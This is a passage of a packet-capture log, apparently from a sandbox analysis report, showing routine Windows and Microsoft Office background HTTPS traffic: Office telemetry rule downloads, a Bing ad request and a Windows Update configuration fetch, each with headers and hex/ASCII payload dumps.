2024-11-23 18:52:26 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2943 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116216-T1-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: LNwawl9asqmJk7OKxGlxtUngNfTEj2mT1FUqdGnk7kflgf0WT51f3+W1HsTVWK8hxGVCxejN5gZYM1mp5bRMB00GGOfX8/LIRvwXovVe6lccuOYJvcmhas9cTYurJNyq/fl8d+0xtA29VLuzSnWDnxiViXFIIhwEiJ4ryv75gd2sujQqMq1DN8ay39JA9NwaGbD3c+8KLmRQxLgcyRhpIbfPOfn7xXh9F2TpUJONCzgtKjUkhQq/s8opUeu9vgW9dwQCVENEDlcoLap2XOWA8XdARZVY+BDtzL1zAW7C6FANyf4dTmed+wdfJZvk95Gvyd0daMOL3v7yeHtT3FzXJQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 18:52:25 GMT Connection: close
2024-11-23 18:52:26 UTC	2943	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:26 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 798eb064-701e-0021-422e-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185227Z-178bfbc474bwh9gmhC1NYCy3rs00000005000000000047wm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:26 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: feb62e3a-f01e-0085-1d2f-3c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185227Z-178bfbc474btvfdfhC1NYCa2en00000004zg000000005fmf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:27 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:27 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185227Z-174c587ffdfp4vpjhC1TEBybqw00000003c00000000071kw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:27 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:27 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:27 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f19b5380-801e-0015-2749-3cf97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185227Z-15b8b599d8885prmhC1TEBsnkw00000003k0000000000ukc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:27 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:27 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:27 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c569ec8c-a01e-003d-0e22-3d98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185227Z-178bfbc474bp8mkvhC1NYCzqnn00000004s0000000005ufd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:27 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49756	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:27 UTC	413	OUT	GET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=d21e0fe109894e1f8ee1ff8f4a7c9aca&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive Cookie: MUID=0BCC44D772F664AB2B1A519773DF6574; MR=0
2024-11-23 18:52:28 UTC	763	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MSPTC=bF1R0mgkwxP704-J0VUmxqv4vKuBzyhg8jWf73c6XfQ; domain=.bing.com; expires=Thu, 18-Dec-2025 18:52:28 GMT; path=/; Partitioned; secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 316B0563A9314C698B310BF233D6A2A4 Ref B: EWR30EDGE0414 Ref C: 2024-11-23T18:52:28Z Date: Sat, 23 Nov 2024 18:52:27 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:29 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 87817176-601e-003e-034d-3c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185229Z-15b8b599d88z9sc7hC1TEBkr4w00000003b000000000mbq7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49757	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:29 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=OMKvArmyZ1p9r2P&MD=6MrcWd3R HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 18:52:29 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 4e9ab41e-ae36-4451-9c0a-ae95cab7d67f MS-RequestId: d64ce930-eca5-4446-aaec-dd354d428e2e MS-CV: GYbb7Yeyw0Kii66R.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 18:52:28 GMT Connection: close Content-Length: 24490
2024-11-23 18:52:29 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-23 18:52:29 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:29 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:29 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185229Z-174c587ffdfl22mzhC1TEBk40c00000003e000000000fkw9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:29 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:29 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:29 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: a24720e5-f01e-0096-3f65-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185229Z-178bfbc474bgvl54hC1NYCsfuw00000004v000000000an6r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:29 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:29 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:29 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: ea8695b1-901e-002a-7283-3b7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185229Z-174c587ffdf6b487hC1TEBydsn00000003ag000000004sq3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
